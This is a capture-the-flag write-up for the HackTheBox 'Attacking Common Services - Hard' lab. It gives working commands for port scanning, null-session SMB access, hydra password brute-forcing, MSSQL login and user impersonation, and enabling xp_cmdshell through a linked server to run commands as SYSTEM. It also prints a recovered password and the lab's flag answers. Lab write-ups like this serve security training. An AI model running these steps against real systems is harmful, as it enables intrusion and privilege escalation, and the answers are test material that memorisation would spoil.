Attacking Common Services - Hard

ℹ️ Informations¶

🌐 Website: HackTheBox
📚 Module: Attacking Common Services
🔗 Link: Attacking Common Services - Hard

❓Question¶

What file can you retrieve that belongs to the user "simon"? (Format: filename.txt)

📋 Walkthrough¶

Full port scan

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ nmap -p- --min-rate=10000 $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 21:08 UTC
Nmap scan report for inlanefreight.htb (10.129.203.10)
Host is up (0.027s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
1433/tcp open  ms-sql-s
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

It's a Windows Server. Let's check the ports with a scan script to gather more information about the services running on these ports.

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-20 21:09 UTC
Nmap scan report for inlanefreight.htb (10.129.203.10)
Host is up (0.026s latency).

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.203.10:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack lev: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-03-20T20:09:44+00:00; -1h00m05s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.203.10:1433: 
|     Target_Name: WIN-HARD
|     NetBIOS_Domain_Name: WIN-HARD
|     NetBIOS_Computer_Name: WIN-HARD
|     DNS_Domain_Name: WIN-HARD
|     DNS_Computer_Name: WIN-HARD
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-20T20:04:21
|_Not valid after:  2055-03-20T20:04:21
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: WIN-HARD
|   NetBIOS_Domain_Name: WIN-HARD
|   NetBIOS_Computer_Name: WIN-HARD
|   DNS_Domain_Name: WIN-HARD
|   DNS_Computer_Name: WIN-HARD
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-20T20:09:04+00:00
| ssl-cert: Subject: commonName=WIN-HARD
| Not valid before: 2025-03-19T20:04:10
|_Not valid after:  2025-09-18T20:04:10
|_ssl-date: 2025-03-20T20:09:44+00:00; -1h00m05s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-20T20:09:06
|_  start_date: N/A
|_clock-skew: mean: -1h00m05s, deviation: 0s, median: -1h00m05s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.11 seconds

We have identified several open ports, including SMB (445/tcp) and Microsoft SQL Server (1433/tcp). Let's try to connect to the SMB service using a null session.

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ smbclient -N -L //$target            

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Home            Disk      
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.203.10 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ smbclient -N  //$target/Home
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 21 21:18:21 2022
  ..                                  D        0  Thu Apr 21 21:18:21 2022
  HR                                  D        0  Thu Apr 21 20:04:39 2022
  IT                                  D        0  Thu Apr 21 20:11:44 2022
  OPS                                 D        0  Thu Apr 21 20:05:10 2022
  Projects                            D        0  Thu Apr 21 20:04:48 2022

                7706623 blocks of size 4096. 3143820 blocks available
smb: \>

We successfully connected to the Home share. Let's download all files from this share to our local machine.

smb: \> recurse ON
smb: \> mget *

In Simon's folder, there's a file named random.txt.

Answer

random.txt

❓Question¶

Enumerate the target and find a password for the user Fiona. What is her password?

📋 Walkthrough¶

After downloading the files from the SMB share, we have the following directory structure:

└─$ tree
.
├── Fiona
│   └── creds.txt
├── John
│   ├── information.txt
│   ├── notes.txt
│   └── secrets.txt
└── Simon
    └── random.txt

Let's try to brute-force the MSSQL server with the user fiona using the credentials found in the creds.txt file.

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ hydra -l fiona -P creds.txt rdp://$target
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-20 21:30:37
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 15 login tries (l:1/p:15), ~4 tries per task
[DATA] attacking rdp://10.129.203.10:3389/
[3389][rdp] account on 10.129.203.10 might be valid but account not active for remote desktop: login: fiona password: 48Ns72!bns74@S84NNNSl, continuing attacking the account.
[ERROR] freerdp: The connection failed to establish.
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-20 21:30:41

Let's try the credentials fiona:48Ns72!bns74@S84NNNSl on the MSSQL server. It works!

┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ impacket-mssqlclient fiona@$target -windows-auth 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-HARD\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-HARD\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (WIN-HARD\Fiona  guest@master)>

Answer

48Ns72!bns74@S84NNNSl

❓Question¶

Once logged in, what other user can we compromise to gain admin privileges?

📋 Walkthrough¶

After logging in as Fiona, let's enumerate the databases on the MSSQL server.

SQL (WIN-HARD\Fiona  guest@master)> SELECT name FROM master.dbo.sysdatabases
name        
---------   
master      

tempdb      

model       

msdb        

TestingDB   

TestAppDB

Let's switch to the TestingDB database and enumerate the tables.

INFO(WIN-HARD\SQLEXPRESS): Line 1: Changed database context to 'TestingDB'.
SQL (WIN-HARD\Fiona  WIN-HARD\Fiona@TestingDB)> SELECT * FROM TestingDB.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
SQL (WIN-HARD\Fiona  WIN-HARD\Fiona@TestingDB)>

Next, let's check for users with impersonation privileges.

SQL (WIN-HARD\Fiona  guest@msdb)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name    
-----   
john    

simon

We found that the users john and simon have impersonation privileges. Let's switch to the user john and check his privileges.

SQL (john  guest@master)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name   
----   
john   

SQL (john  guest@master)> SELECT SYSTEM_USER

----   
john   

SQL (john  guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin')

-   
0

John does not have sysadmin privileges directly, but we can use the linked server to escalate our privileges.

SQL (john  guest@master)> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]

-   -   -   -   
1   1   1   1

Answer

john

❓Question¶

Submit the contents of the flag.txt file on the Administrator Desktop.

📋 Walkthrough¶

In the file information.txt we see a note:

To do:
- Keep testing with the database.
- Create a local linked server.
- Simulate Impersonation.

Let's check for local linked server

SQL (john  guest@master)> SELECT srvname, isremote FROM sysservers
srvname                 isremote   
---------------------   --------   
WINSRV02\SQLEXPRESS            1   

LOCAL.TEST.LINKED.SRV          0   

SQL (john  guest@master)>

We found a local linked server named LOCAL.TEST.LINKED.SRV. Now, let's enable advanced options and xp_cmdshell on this linked server to execute system commands.

SQL (john  guest@master)> EXEC ('sp_configure ''show advanced options'', 1') AT [LOCAL.TEST.LINKED.SRV]
INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john  guest@master)> EXEC ('sp_configure ''xp_cmdshell'',1') AT [LOCAL.TEST.LINKED.SRV]
INFO(WIN-HARD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (john  guest@master)> EXEC ('RECONFIGURE') AT [LOCAL.TEST.LINKED.SRV]
SQL (john  guest@master)>

Now, we can use xp_cmdshell to execute system commands. Let's check the current user context.

SQL (john  guest@master)> EXEC ('xp_cmdshell ''whoami''') AT [LOCAL.TEST.LINKED.SRV]
output                
-------------------   
nt authority\system   

NULL

We are running as nt authority\system, which has administrative privileges. Now, let's read the contents of the flag.txt file on the Administrator's Desktop.

SQL (john  guest@master)> EXEC ('xp_cmdshell ''type C:\Users\Administrator\Desktop\flag.txt''') AT [LOCAL.TEST.LINKED.SRV]
output                        
---------------------------   
HTB{46u$!n9_l!nk3d_$3rv3r$}

Answer

HTB{46u$!n9_l!nk3d_$3rv3r$}